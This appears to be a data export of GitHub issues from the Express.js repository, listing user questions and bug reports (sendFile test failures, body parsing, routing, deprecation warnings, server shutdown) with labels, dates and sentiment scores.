expressjs/express,1401635105,sendfile test fails with nodejs 18,"I'm seeing this with RHEL build of nodejs 18, reported also in https://bugzilla.redhat.com/show_bug.cgi?id=2133093:

Version-Release number of selected component (if applicable):
nodejs-18.8.0-1.module_el8.7.0+1206+cd2bf569.x86_64

Steps to Reproduce:

1. git clone https://github.com/expressjs/express.git
1. cd express
1. git checkout 4.18.1
1. npm install
1. npm test

Actual results:
```
<long output scratched>
    .sendfile(path, fn)
      ✔ should invoke the callback when complete
      ✔ should utilize the same options as express.static()
      ✔ should invoke the callback when client aborts
      ✔ should invoke the callback when client already aborted
      ✔ should invoke the callback without error when HEAD
      ✔ should invoke the callback without error when 304
      ✔ should invoke the callback on 404
      ✔ should not override manual content-types
      ✔ should invoke the callback on 403
      1) should invoke the callback on socket error


  1086 passing (3s)
  1 failing

  1) res
       .sendfile(path, fn)
         should invoke the callback on socket error:
     Uncaught Error: broken!
      at /opt/app-root/src/express/test/res.sendFile.js:1058:34
      at Layer.handle [as handle_request] (lib/router/layer.js:95:5)
      at trim_prefix (lib/router/index.js:328:13)
      at /opt/app-root/src/express/lib/router/index.js:286:9
      at Function.process_params (lib/router/index.js:346:12)
      at next (lib/router/index.... [TRUNCATED]",tests,2022-10-07 20:25:23+00:00,2022-10-07 21:49:35+00:00,3,tests,0.0585,sendfile test fails with nodejs i m seeing this with rhel build of nodejs reported also in version release number of selected component if applicable nodejs module el cd bf x git clone cd express git checkout npm install npm test actual results sendfile path fn should invoke the callback when complete should utilize the same options as express static should invoke the callback when client aborts should invoke the callback when client already aborted should invoke the callback without error when head should invoke the callback without error when should invoke the callback on should not override manual content types should invoke the callback on should invoke the callback on socket error passing s failing res sendfile path fn should invoke the callback on socket error uncaught error broken at opt app root src express test res sendfile js at layer handle as handle request lib router layer js at trim prefix lib router index js at opt app root src express lib router index js at function process params lib router index js at next lib router index truncated,others,0.3612
expressjs/express,1393322455,Critical dependency: the request of a dependency is an expression,"`WARNING in ./node_modules/.pnpm/express@4.18.1/node_modules/express/lib/view.js 81:13-25
Critical dependency: the request of a dependency is an expression
    at CommonJsRequireContextDependency.getWarnings (C:\Users\cmw10\Desktop\codes\react-ssr\node_modules\.pnpm\webpack@5.74.0_webpack-cli@4.10.0\node_modules\webpack\lib\dependencies\ContextDependency.js:102:18)
    at Compilation.reportDependencyErrorsAndWarnings (C:\Users\cmw10\Desktop\codes\react-ssr\node_modules\.pnpm\webpack@5.74.0_webpack-cli@4.10.0\node_modules\webpack\lib\Compilation.js:3132:24)
    at C:\Users\cmw10\Desktop\codes\react-ssr\node_modules\.pnpm\webpack@5.74.0_webpack-cli@4.10.0\node_modules\webpack\lib\Compilation.js:2729:28
    at _next2 (eval at create (C:\Users\cmw10\Desktop\codes\react-ssr\node_modules\.pnpm\tapable@2.2.1\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:16:1)
    at eval (eval at create (C:\Users\cmw10\Desktop\codes\react-ssr\node_modules\.pnpm\tapable@2.2.1\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:42:1)
    at C:\Users\cmw10\Desktop\codes\react-ssr\node_modules\.pnpm\webpack@5.74.0_webpack-cli@4.10.0\node_modules\webpack\lib\FlagDependencyExportsPlugin.js:385:11
    at C:\Users\cmw10\Desktop\codes\react-ssr\node_modules\.pnpm\neo-async@2.6.2\node_modules\neo-async\async.js:2830:7
    at Object.each (C:\Users\cmw10\Desktop\codes\react-ssr\node_modules\.pnpm\neo-async@2.6.2\node_modules\neo-async\async.js:2850:39)
    at C:\Users\cmw... [TRUNCATED]",discuss,2022-10-01 09:16:53+00:00,2024-08-24 08:58:40+00:00,2,discuss,692.9873,critical dependency the request of a dependency is an expression warning in node modules pnpm express node modules express lib view js critical dependency the request of a dependency is an expression at commonjsrequirecontextdependency getwarnings c users cmw desktop codes react ssr node modules pnpm webpack webpack cli node modules webpack lib dependencies contextdependency js at compilation reportdependencyerrorsandwarnings c users cmw desktop codes react ssr node modules pnpm webpack webpack cli node modules webpack lib compilation js at c users cmw desktop codes react ssr node modules pnpm webpack webpack cli node modules webpack lib compilation js at next eval at create c users cmw desktop codes react ssr node modules pnpm tapable node modules tapable lib hookcodefactory js at eval eval at create c users cmw desktop codes react ssr node modules pnpm tapable node modules tapable lib hookcodefactory js at c users cmw desktop codes react ssr node modules pnpm webpack webpack cli node modules webpack lib flagdependencyexportsplugin js at c users cmw desktop codes react ssr node modules pnpm neo async node modules neo async async js at object each c users cmw desktop codes react ssr node modules pnpm neo async node modules neo async async js at c users cmw truncated,feature,-0.4215
expressjs/express,1391252668,lazy-load express routes,"I have too many routes in my express app, all of them are loaded when the app started.

I want to load each route only when needed.
so, I tried this approach but with no luck.

```
let app = Router();

app.get('/collections', getRoute('collections'));
// other routes....

function getRoute(route: string): any {
  let [path, func = 'default'] = route.split(':');

  console.log(`getting route: ${path}`);
  return require(`./${path}`)[func];
}
```

collections.ts
```
export default (req,res)=>res.json({ok:1})
```

when the app starts it logs 'getting route: collections' once and in advance (even if it not accessed).

but I want to load this route only when we access the route 'api/collections'
",,2022-09-29 17:44:30+00:00,2022-09-29 17:50:17+00:00,0,nan,0.004,lazy load express routes i have too many routes in my express app all of them are loaded when the app started i want to load each route only when needed so i tried this approach but with no luck collections ts when the app starts it logs getting route collections once and in advance even if it not accessed but i want to load this route only when we access the route api collections,others,0.2617
expressjs/express,1383743650,Issue,** removed **,,2022-09-23 12:39:23+00:00,2022-09-23 14:08:14+00:00,3,nan,0.0617,issue removed,bug,0.0
expressjs/express,1366944816,Replacing querystring with fast-querystring,"I've been working on a fast querystring parser for Node.js and saw that Express.js is using the native `querystring` module. As of right now, [fast-querystring](https://github.com/anonrig/fast-querystring) is 40% faster than `querystring`.

https://github.com/expressjs/express/blob/bf4c3ee00f3b95a329fc1dd4dd0cd17c74178121/lib/utils.js#L24

Here's an example of a benchmark of Nest.js with replacing `fast-querystring` and having a 25% op/sec increase with an old version of fast-querystring. - https://github.com/nestjs/nest/pull/10248#issuecomment-1238623339 

I'd be happy to open a pull request, but before that, I wanted to create an issue and have a discussion about it.",awaiting more info,2022-09-08 20:23:28+00:00,2022-09-09 13:30:47+00:00,10,awaiting more info,0.7134,replacing querystring with fast querystring i ve been working on a fast querystring parser for node js and saw that express js is using the native module as of right now fast querystring is faster than here s an example of a benchmark of nest js with replacing and having a op sec increase with an old version of fast querystring i d be happy to open a pull request but before that i wanted to create an issue and have a discussion about it,others,0.8922
expressjs/express,1357919841,Release Express v5.0.0-beta.2,"First thanks for all the work involved for the maintainers. I really appreciate your time and progress with this framework.

I am opening this issue to know if there are a chance that a new version would be released picking the latest changes in the branch and it would be merged

Since the [release announcement of v5.0.0-beta.1](https://github.com/expressjs/express/releases/tag/v5.0.0-beta.1) the 15th Feb a lot months without ""a tag"" for the new changes.

This should help with https://github.com/expressjs/express/pull/2237 to bring new betatesters or receive new PR helping to a quick release.

IHMO if you can release a new beta every few weeks or one per month would be very useful.",awaiting more info,2022-08-31 22:02:59+00:00,2022-08-31 22:08:28+00:00,1,awaiting more info,0.0038,release express v beta first thanks for all the work involved for the maintainers i really appreciate your time and progress with this framework i am opening this issue to know if there are a chance that a new version would be released picking the latest changes in the branch and it would be merged since the release announcement of v beta the th feb a lot months without a tag for the new changes this should help with to bring new betatesters or receive new pr helping to a quick release ihmo if you can release a new beta every few weeks or one per month would be very useful,others,0.95
expressjs/express,1356111803,Error: connect ECONNRESET,"Similar to the issue https://github.com/expressjs/express/issues/3324, but we note that there was something related with the `express.Router()`


The code was like this:

```js
// app.js
const express = require('express');
const routes = require('./routes');
const app = express();

app.get('/healthz', ...); // <-- error after 300+ requests
app.get('/version', ...); // <-- error after 300+ requests
app.use('/', routes);

...

// routes.js
const express = require('express');
const router = express.Router();

...
```

In order to fix, we changed to:


```js
// app.js
const express = require('express');
const routes = require('./routes');
const app = express();

app.use('/', routes);

...

// routes.js
const express = require('express');
const router = express.Router();

router.get('/healthz', ...); // <-- fixed, no more errors
router.get('/version', ...); // <-- fixed, no more errors

...
```

express version: 4.18.1",awaiting more info,2022-08-30 17:52:54+00:00,2022-09-18 23:50:07+00:00,2,awaiting more info,19.2481,error connect econnreset similar to the issue but we note that there was something related with the the code was like this in order to fix we changed to express version,bug,0.6705
expressjs/express,1354631786,How to use multiple request parameter with router.use()?,"I want to utilize multiple route parameter in my API. The route is supposed to be `/pathOne/:idOne/pathTwo/:idTwo`. In my thought, I will have something like the following code to use `pathTwo` with multiple methods such as GET, PUT, and DELETE and code it in different file. (consider the following code is in `router.use('/pathOne', pathOneRoute)`)
```
router.use('/:idOne/pathTwo', pathTwoRoute)
```
When i log the `req.params` in my handler, only the `idTwo` showed up in my terminal. But, the route will shows both `req.params` if I code it like this
```
router.get('/:idOne/pathTwo/:idTwo', (req, res) => console.log(req.params))
```
Anyone can explain what did I do wrong? Thanks in advance","question,module:router",2022-08-29 17:24:56+00:00,2022-08-29 17:50:36+00:00,3,"question,module:router",0.0178,how to use multiple request parameter with router use i want to utilize multiple route parameter in my api the route is supposed to be in my thought i will have something like the following code to use with multiple methods such as get put and delete and code it in different file consider the following code is in when i log the in my handler only the showed up in my terminal but the route will shows both if i code it like this anyone can explain what did i do wrong thanks in advance,feature,0.5927
expressjs/express,1349674835,"app.set(""query parser"") must be run before other app methods, otherwise the setting is not saved","I want to set a custom query parser using `app.set()`. This is my app:

```ts
const app = express();
const router = express.Router();
app.use(cookieParser());
app.use(helmet());
app.use(express.json());
app.use(cors());
app.options(""*"", cors());
app.use(""/"", router);

app.listen(3000);
```

I've tried putting `app.set(""query parser"")` between each statement, but it only works when applied at the beginning:

```ts
const app = express();
const router = express.Router();
app.set(""query parser"", function(str) {
  ...
}); // This works
...
app.listen(3000);
```

```ts
const app = express();
const router = express.Router();
app.use(cookieParser());
app.set(""query parser"", function(str) {
  ...
}); // This (or between any other statement) does not work
...
app.listen(3000);
```

However, `app.get()` shows `Function[Anonymous]` regardless of where I set the settings.",question,2022-08-24 15:55:06+00:00,2022-08-24 16:36:16+00:00,1,question,0.0286,app set query parser must be run before other app methods otherwise the setting is not saved i want to set a custom query parser using this is my app i ve tried putting between each statement but it only works when applied at the beginning however shows regardless of where i set the settings,help,-0.1967
expressjs/express,1348821412,Question: Why are there two functions with the same name in the response.js,"I found that there are two same function names in response.js file, so won't the latter overwrite the former.

first function: https://github.com/expressjs/express/blob/master/lib/response.js#L419
second function: https://github.com/expressjs/express/blob/master/lib/response.js#L501",question,2022-08-24 04:02:59+00:00,2022-08-24 04:23:44+00:00,3,question,0.0144,question why are there two functions with the same name in the response js i found that there are two same function names in response js file so won t the latter overwrite the former first function second function,help,0.6948
expressjs/express,1345690551,[DEP0066] DeprecationWarning: OutgoingMessage.prototype._headers is deprecated,"Bump into the following deprecation warning in the following code snippet:
```
healthchecks.get('/live', function (req, res, next) {
  res.send('OK')
});
```
```
[nodejsrestapi-1] (node:1) [DEP0066] DeprecationWarning: OutgoingMessage.prototype._headers is deprecated 
[nodejsrestapi-1]     at ServerResponse.writeHead (/app/node_modules/spdy/lib/spdy/response.js:18:12) 
[nodejsrestapi-1]     at ServerResponse.writeHead (/app/node_modules/on-headers/index.js:44:26) 
[nodejsrestapi-1]     at ServerResponse.writeHead (/app/node_modules/on-headers/index.js:44:26) 
[nodejsrestapi-1]     at ServerResponse.writeHead (/app/node_modules/on-headers/index.js:44:26) 
[nodejsrestapi-1]     at ServerResponse._implicitHeader (node:_http_server:287:8) 
[nodejsrestapi-1]     at ServerResponse.end (/app/node_modules/compression/index.js:103:14) 
[nodejsrestapi-1]     at ServerResponse.send (/app/node_modules/express/lib/response.js:232:10) 
[nodejsrestapi-1]     at file:///app/src/webapi/routes/healthchecks.js:23:9 
[nodejsrestapi-1]     at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) 
[nodejsrestapi-1]     at next (/app/node_modules/express/lib/router/route.js:144:13)
```
`""express"": ""^4.18.1"",`
Node: v18.7.0",,2022-08-22 01:54:07+00:00,2022-08-22 01:57:17+00:00,1,nan,0.0022,dep deprecationwarning outgoingmessage prototype headers is deprecated bump into the following deprecation warning in the following code snippet node v,others,-0.34
expressjs/express,1342419440,express.urlencoded() undefined extended,"Hi there! I'm sorry if this isn't the place to ask, but I cannot think of how else to find this answer other than asking right on the repo. I've been googling and rereading the docs like crazy around urlencoded() and I see on the docs its ""default"" is set to true.

I understand I'm supposed to pass in either true or false on extended, but why do I have to if there's already a default to true? I also understand that this may change anyways in Express 5, but for Express 4, it's really bothering me without an explanation. 

`app.use(express.urlencoded());` produces this error: `body-parser deprecated undefined extended: provide extended option`

Providing the line and error for a visual example. 

**TL;DR** Why do I have to pass in  {extended: bool} instead of leaving it empty for the default of true? 

If this doesn't belong in issues, feel free to delete/close it. Just hoping someone can answer my burning question on this. I teach Express to students and this has always been hard to dance around when I'm not sure why in the first place! 

TIA! ","question,module:body-parser",2022-08-18 00:48:09+00:00,2022-08-24 01:49:54+00:00,2,"question,module:body-parser",6.0429,express urlencoded undefined extended hi there i m sorry if this isn t the place to ask but i cannot think of how else to find this answer other than asking right on the repo i ve been googling and rereading the docs like crazy around urlencoded and i see on the docs its default is set to true i understand i m supposed to pass in either true or false on extended but why do i have to if there s already a default to true i also understand that this may change anyways in express but for express it s really bothering me without an explanation produces this error providing the line and error for a visual example tl dr why do i have to pass in extended bool instead of leaving it empty for the default of true if this doesn t belong in issues feel free to delete close it just hoping someone can answer my burning question on this i teach express to students and this has always been hard to dance around when i m not sure why in the first place tia,help,0.8002
expressjs/express,1341494923,Latest version: Express@4.16.1   ejs template ReferenceError     ,"My page has a get and post request
Post rendering is normal.
And get reports a rendering error on the customized object,
However, at the end of rendering, the content can be displayed
What do you want to know ？


![image](https://user-images.githubusercontent.com/49564680/185089453-1e517e31-3464-4121-984c-ebbc973e8f10.png)",,2022-08-17 09:53:29+00:00,2022-08-17 10:10:13+00:00,1,nan,0.0116,latest version express ejs template referenceerror my page has a get and post request post rendering is normal and get reports a rendering error on the customized object however at the end of rendering the content can be displayed what do you want to know image,bug,-0.4019
expressjs/express,1339050653,server.close() has no effect,"Hello everyone.

I am using expressjs **4.18.1** and I am trying to shut down my server, but when I restart it again I get the error that the port is still in use. And indeed, the server did not close. Here's my code:
```
async close() {
    if (this.server !== undefined) {
      await this.server.close();
      console.log(`Server on port ${this.port} shut down`);
    }
  }
```

This must be a bug, there are no open connections or anything (I checked by listening to the `connections` event.. also it also happens when I start and stop it immediately)

fwiw, I am using an ssl server with a self signed certificate:

```

    var key = fs.readFileSync(keyPath);
    var cert = fs.readFileSync(certPath);
    var options = {
      key: key,
      cert: cert,
    };

    this.server = https.createServer(options, this.app).listen(this.port);
```

.. and the environment is Mac OS.

Any help is appreciated.",awaiting more info,2022-08-15 14:07:58+00:00,2022-08-17 08:13:22+00:00,4,awaiting more info,1.7538,server close has no effect hello everyone i am using expressjs and i am trying to shut down my server but when i restart it again i get the error that the port is still in use and indeed the server did not close here s my code this must be a bug there are no open connections or anything i checked by listening to the event also it also happens when i start and stop it immediately fwiw i am using an ssl server with a self signed certificate and the environment is mac os any help is appreciated,others,-0.7351
expressjs/express,1334711082,Define middleware router at runtime (after app listen),"Hello is it possible to define middleware routes after app is started?

app file:
```
const express = require('express');
const app = express();
var proxy = require('express-http-proxy');

import { aa } from './api';

const port = 3111;

// This working fine
app.use('/testRoute/1', proxy('http://localhost:55013'));

aa(app, '/defineRoute');

app.get('/', (req: any, res: any) => {
  res.send('Hello World!');
});

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`);
});

```

api file for ""aa"" import:
```
import * as express from ""express"";
var proxy = require(""express-http-proxy"");

export function aa(app: express.Application, basePath: string) {
  const router = express.Router();
  app.use(basePath, router);

  router.get(""/"", async (req, res) => {
    // This not working :(
    app.use('/testRoute/2', proxy('http://localhost:55014'));

    res.send();
  });
}

```

When defining ""/testRoute/1"" it seems to work fine.
After application is started, and I hit [GET] -> /defineRoute which should defines ""/testRoute/2"", but it seems not working","question,awaiting more info",2022-08-10 14:23:41+00:00,2022-08-22 15:25:47+00:00,2,"question,awaiting more info",12.0431,define middleware router at runtime after app listen hello is it possible to define middleware routes after app is started app file api file for aa import when defining testroute it seems to work fine after application is started and i hit get defineroute which should defines testroute but it seems not working,help,0.1027
expressjs/express,1324384083,not receiveing body data while using app.delete,"Hi Team,
while using app.delete req.body is showing undefined

React Code:
```
await axios.delete('/deleteData',{
   sno:1,
}).then(()=>{})
```

expressCode:

```
app.delete('deleteData',(req,res)=>{
const sno=req.body.sno /// showing undefined here....

});
```
But when i tried from Postman it is working fine So what am I missing here...?
Could you please help me here...?",question,2022-08-01 13:03:36+00:00,2022-08-01 13:36:39+00:00,2,question,0.023,not receiveing body data while using app delete hi team while using app delete req body is showing undefined react code expresscode but when i tried from postman it is working fine so what am i missing here could you please help me here,help,0.6709
expressjs/express,1305757293,Can I upload multiple files in express?,"Hi guys, I need some help in my expressjs server. when I try to upload multiple files multer gives me error 

When I send request from the frontend and I put  `headers: {""Content-Type"": ""application/json""},` this header the json data goes through but the files don't, when I put this header `headers: {""Content-Type"": ""multipart/form-data""},` the body is empty on the server side and multer gives me error  `MulterError: Unexpected field at wrappedFileFilter`

this is the route - 
```js
router.post(
  ""/addEpisode/:id"",
  multerUploadMultiple.array(""uploads"", 2),
  uploadEpisodeOnCloudinary,
  podcastControllers.addEpisode
);
```

this is the multerUploadMultiple - 

```js
const multer = require(""multer"");

var storage = multer.diskStorage({
  destination: function (req, file, callback) {
    callback(null, ""./uploads"");
  },
  filename: (_, file, cb) => {
    cb(null, Date.now() + ""--"" + file.originalname.replace(/\s|\//g, ""_""));
  },
});
const multerUploadMultiple = multer({ storage });

module.exports = multerUploadMultiple;
```
Any help would be appreciated :)",,2022-07-15 08:44:42+00:00,2022-07-15 10:36:33+00:00,2,nan,0.0777,can i upload multiple files in express hi guys i need some help in my expressjs server when i try to upload multiple files multer gives me error when i send request from the frontend and i put this header the json data goes through but the files don t when i put this header the body is empty on the server side and multer gives me error this is the route this is the multeruploadmultiple any help would be appreciated,others,0.3919
expressjs/express,1305039458,The error arrived at error-handler middleware has different proto then it used to have,"There is a bug that drives me mad.

There is some custom error:

```js
module.exports = class HttpError extends Error {
    constructor(status, message, errors = []) {
        super(message);
        this.status = status;
        this.errors = errors;
    }

    static unauthorized() {
        return new HttpError(401, 'The user is not authorized to perform requested actions.');
    }

    static badRequest(message, errors = []) {
        return new HttpError(400, message, errors);
    }
}
 ```

There is some error-handling middleware:
```js
const HttpError = require('../Exceptions/http-error');

module.exports = function (err, req, res, next) {
    console.log(err);
    if (err instanceof HttpError) {
        ...
    }
    ...
} 
```

And finally there is the piece of code throwing an error:
```js
async register(req, res, next) {
        try {
            ...
            if (!errors.isEmpty()) {
                throw HttpError.badRequest(""Validation error"", errors.array());
            }
            ...
        } catch (e) {
            next(e);
        }
 } 
```

Expected behavior: the middleware successfully processes the error

Actual behavior:  the if block isn't entered - a thrown error has different proto then Http.prototype - the instanceof operator returns false. 

If I put the same check in the piece of code, it returns true - the error's proto is modified somewhere on the way to middleware
",awaiting more info,2022-07-14 16:44:25+00:00,2022-07-15 18:05:44+00:00,6,awaiting more info,1.0565,the error arrived at error handler middleware has different proto then it used to have there is a bug that drives me mad there is some custom error there is some error handling middleware and finally there is the piece of code throwing an error the middleware successfully processes the error the if block isn t entered a thrown error has different proto then http prototype the instanceof operator returns false if i put the same check in the piece of code it returns true the error s proto is modified somewhere on the way to middleware,bug,-0.9779
expressjs/express,1299841650,"`express.json()`, Is there a standard way to handle exceptions if my request body does not conform to JSON syntax","I want to be able to pinpoint a JSON syntax error and catch it.
my request body:
```json
{
    ""user"": {
        ""email"": n.slvwtep@uhxhgyxv.al,
        ""password"": anim elit ea enim
    }
}
```
","question,module:body-parser",2022-07-10 06:27:16+00:00,2022-07-10 06:30:18+00:00,1,"question,module:body-parser",0.0021,is there a standard way to handle exceptions if my request body does not conform to json syntax i want to be able to pinpoint a json syntax error and catch it my request body,feature,-0.4019
expressjs/express,1299773231,Cannot read properties of undefined (reading 'content-type') in express js,"See https://github.com/nuxt/nuxt.js/issues/12720

",question,2022-07-09 21:47:28+00:00,2022-07-17 17:19:10+00:00,6,question,7.8137,cannot read properties of undefined reading content type in express js see,help,0.0
expressjs/express,1299404993,express.json() causes my code to hang and never return,"I'm trying to access the json encoded body of my incoming requests — I'm trying to use express.json() as it's presented in the [docs](https://expressjs.com/en/4x/api.html#express.json), but when I add that middleware function it causes my code to hang. I saw this [stackoverflow post](https://stackoverflow.com/questions/60218644/request-hangs-in-express-js/60218675#60218675) mentioning something similar — but I'm calling the json function in my code unlike in this user's post.

Is there anything I can do? Is this a known bug?

Here's my code:

```typescript
...
import express, {Request, Response, Application, json} from 'express';
...
const app:Application = express();
...
app.use(json());

/**
* I'm making a proxy server, this middleware forwards the incoming request to a new url
* /
app.use(rateLimiter, (req:Request, res:Response) => {
    // This successfully prints the body object as a json object, but it never returns a response 
    // Removing app.use(json()) makes it work again.
    console.log(req.body);
    req.pipe(request(newUrl)).pipe(res);
});

//Start the proxy server
const server = app.listen(port, host, () => {
    console.log(`Server Running on 👉 ${host}:${port}`);
});

// Signal Handlers
process.on('SIGINT', () => server.close());
process.on('SIGTERM', () => server.close());
```",question,2022-07-08 20:07:34+00:00,2022-07-08 20:11:33+00:00,4,question,0.0028,express json causes my code to hang and never return i m trying to access the json encoded body of my incoming requests i m trying to use express json as it s presented in the docs but when i add that middleware function it causes my code to hang i saw this stackoverflow post mentioning something similar but i m calling the json function in my code unlike in this user s post is there anything i can do is this a known bug here s my code,help,-0.6124
expressjs/express,1293481816,DeprecationWarning: OutgoingMessage.prototype._headers,"I get this message on the server side, when I do a response.send() on express server.
I was also using ws package v8.8.0 (for websocket server) in same node app,
https://github.com/websockets/ws/blob/master/package.json

message with traceback:
```
(node:45980) [DEP0066] DeprecationWarning: OutgoingMessage.prototype._headers is deprecated
at IncomingMessage.fresh (/Volumes/flores/GLMR5/gscripts/pairResolve/node_modules/express/lib/request.js:444:41)
at ServerResponse.send (/Volumes/flores/GLMR5/gscripts/pairResolve/node_modules/express/lib/response.js:189:10)
at /Volumes/flores/GLMR5/gscripts/pairResolve/server.js:99:12
at /Volumes/flores/GLMR5/gscripts/pairResolve/server.js:53:4
at FSReqCallback.readFileAfterClose [as oncomplete] (node:internal/fs/read_file_context:68:3)
at FSReqCallback.callbackTrampoline (node:internal/async_hooks:130:17)
[... more threads ...]
```
node command: the first message said to turn on --trace-deprecation, then I got the detailed one above.
node --inspect-brk --trace-deprecation server.js


client side: Chrome for Mac: Version 103.0.5060.53 (Official Build) (x86_64)
both sides, same machine: Mac OSX Catalina version 10.15.7 (19H1922)

seems to be at express/lib/request.js:444
express ""version"": ""4.13.3""

Not critical for me right now, just thought you should know.",,2022-07-04 18:43:58+00:00,2022-07-04 19:02:06+00:00,2,nan,0.0126,deprecationwarning outgoingmessage prototype headers i get this message on the server side when i do a response send on express server i was also using ws package v for websocket server in same node app message with traceback node command the first message said to turn on trace deprecation then i got the detailed one above node inspect brk trace deprecation server js client side chrome for mac version official build x both sides same machine mac osx catalina version h seems to be at express lib request js express version not critical for me right now just thought you should know,others,0.2411
expressjs/express,1284474078,Getting request size,"Is this a valid way of recording the request size:

```
app.use(function logger(req, res, next) {
    req.body._requestSize = 0;

    req.on('data', (chunk) => {
      req.body._requestSize += Buffer.from(chunk).length;
    });

    next();
  });

app.use(bodyParser.json())
```

My concern is that as soon as the `req.on('data', ...)` is executed the stream will be in flowing mode and if the rest of the application does not subscribe to the stream fast enough they will miss some data. But I don't know the exact behavior of Node and ExpressJS.",discuss,2022-06-25 06:56:27+00:00,2024-02-07 21:33:42+00:00,4,discuss,592.6092,getting request size is this a valid way of recording the request size my concern is that as soon as the is executed the stream will be in flowing mode and if the rest of the application does not subscribe to the stream fast enough they will miss some data but i don t know the exact behavior of node and expressjs,feature,0.1779
expressjs/express,1280561611,How to support HTTP 103 Early Hints?,"hi,

WIth Chrome 103, the HTTP `103 Early Hints` is in release build. But how to support this in expressjs? Thanks!!
 
https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103
https://developer.chrome.com/blog/new-in-chrome-103/",question,2022-06-22 17:04:36+00:00,2022-06-22 17:10:06+00:00,7,question,0.0038,how to support http early hints hi with chrome the http is in release build but how to support this in expressjs thanks,help,0.85
expressjs/express,1280089051,Support for PHP scripts,"I currently use express to host my website, I use PHP and HTML, PHP shows as Text and doesn't run any scripts.
Please make php work with express.",question,2022-06-22 12:46:23+00:00,2022-06-22 17:15:01+00:00,1,question,0.1866,support for php scripts i currently use express to host my website i use php and html php shows as text and doesn t run any scripts please make php work with express,help,0.6124
expressjs/express,1279218746,Flooding requests results in memory leak,"Hello,

Using the built-in `http` and `https` packages causes a memory leak when the server gets flooded with requests from different IPs which eventually crashes the server.

**Code**
```js
const express = require('express');
const fs = require('fs');
const http = require('http');
const https = require('https');

const app = express();

app.enable('trust proxy');

app.all('*', (req, res) => {
  return res.send({
    message: 'Hello World!'
  });
});

const privateKey = fs.readFileSync('/etc/letsencrypt/live/.../privkey.pem', 'utf8');
const certificate = fs.readFileSync('/etc/letsencrypt/live/.../cert.pem', 'utf8');
const ca = fs.readFileSync('/etc/letsencrypt/live/.../chain.pem', 'utf8');
const credentials = {
    key: privateKey,
    cert: certificate,
    ca: ca
};

const httpServer = http.createServer(app);
const httpsServer = https.createServer(credentials, app);

httpServer.listen(80, () => {
    console.log('HTTP Server running on port 80');
});

httpsServer.listen(443, () => {
    console.log('HTTPS Server running on port 443');
});
```

**Error**
```
(node:14043) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 11 error listeners added to [TLSSocket]. Use emitter.setMaxListeners() to increase limit
```",awaiting more info,2022-06-21 23:10:26+00:00,2022-06-23 06:43:34+00:00,10,awaiting more info,1.3147,flooding requests results in memory leak hello using the built in and packages causes a memory leak when the server gets flooded with requests from different ips which eventually crashes the server code error,feature,-0.7783
expressjs/express,1276168428,[Request] -  Triage role for @0ss,"- [x] I have read and understood the project's Code of Conduct.
- [x] I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organization:

- `express`",,2022-06-19 21:17:11+00:00,2022-06-28 17:32:44+00:00,2,nan,8.8441,request triage role for ss x i have read and understood the project s code of conduct x i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organization,feature,0.6369
expressjs/express,1275982376,"Question: Modernizing, updating to ES modules","Hi!
Are there any plans to modernize the library?
In my fork I created basically a rough 'rewrite' of the library just for fun using modern JS features & the ES module system.
I also updated all of the tests & examples. (Examples are also updated to use modern JS features)
All tests are passing, as far as I can tell no compatibility is broken at the API level. (Except for the removals of deprecated stuff)

Branch: https://github.com/Degubi/express/tree/es_module_refactor
Commits:

90123f7 (Remove some deprecated api-s and related tests)
- This gets rid of 'array-flatten' (replaced with Array.flat) and 'setprototypeof' (replaced with Object.setPrototypeOf) dependencies
- Removed tons of deprecated functionality & related tests for reducing clutter & making clean ups easier (TODO: Collect list of removed API-s)

7729870 (Switch package type to 'module', update to use ES module system)
- This commit switches from using Node's require mechanism to using the ES module system
  (kept a single require in view.js using 'createRequire' because the ES module system's way of importing stuff dynamically involves using Promises and I didn't want to break stuff)
  
7745f18 (Update example files to use modern JS features)
- Cleaning up example files, start using classes, arror functions, let and const instead of var

e110426 (Update lib files to use modern JS features)
- Cleaning up library files, same applies here as in 7745f18",question,2022-06-19 07:50:50+00:00,2023-12-07 07:45:37+00:00,11,question,535.9964,question modernizing updating to es modules hi are there any plans to modernize the library in my fork i created basically a rough rewrite of the library just for fun using modern js features the es module system i also updated all of the tests examples examples are also updated to use modern js features all tests are passing as far as i can tell no compatibility is broken at the api level except for the removals of deprecated stuff branch commits f remove some deprecated api s and related tests this gets rid of array flatten replaced with array flat and setprototypeof replaced with object setprototypeof dependencies removed tons of deprecated functionality related tests for reducing clutter making clean ups easier todo collect list of removed api s switch package type to module update to use es module system this commit switches from using node s require mechanism to using the es module system kept a single require in view js using createrequire because the es module system s way of importing stuff dynamically involves using promises and i didn t want to break stuff f update example files to use modern js features cleaning up example files start using classes arror functions let and const instead of var e update lib files to use modern js features cleaning up library files same applies here as in f,help,0.91
expressjs/express,1275567247,Consider using peerDependencies,"Hello ppl,
I've tried to use express 5 beta1 and it seems that everything works for me, although my project is a small/medium one.

One thing I noticed is that you don't use `peerDependencies` in your package.json, since node 16 and npm 8 `peerDependencies` are installed automatically and in case of misalignment in dependencies it throws an error when trying to run `npm i`.

By using `peerDependencies` you could ensure that clients use proper versions of such packages as `router`, `send` or `serve-static`.

WDYT?",,2022-06-17 23:07:37+00:00,2022-06-18 08:55:19+00:00,2,nan,0.4081,consider using peerdependencies hello ppl i ve tried to use express beta and it seems that everything works for me although my project is a small medium one one thing i noticed is that you don t use in your package json since node and npm are installed automatically and in case of misalignment in dependencies it throws an error when trying to run by using you could ensure that clients use proper versions of such packages as or wdyt,others,-0.1027
expressjs/express,1268243994,Speed and latency of requests,"I using express in all my projects, i like syntactics, methods, for ease of use

Lately I've been starting to dig deeper into code optimization and better use of certain things to write efficient code

![image](https://user-images.githubusercontent.com/47102682/173186434-43e05a32-5f6c-4ae8-94ff-97eee93d115a.png)

I recently stumbled across this benchmark(you can check it out [here](https://www.fastify.io/benchmarks/) with code examples) and I'm quite frustrated by the huge backlog from the Express side. It has an excellent base, it is one of the most requested frameworks, and I do not want and do not intend to switch to alternatives, but this difference really saddens me

May I know what is causing this backlog and will there be any work done on this in the future?

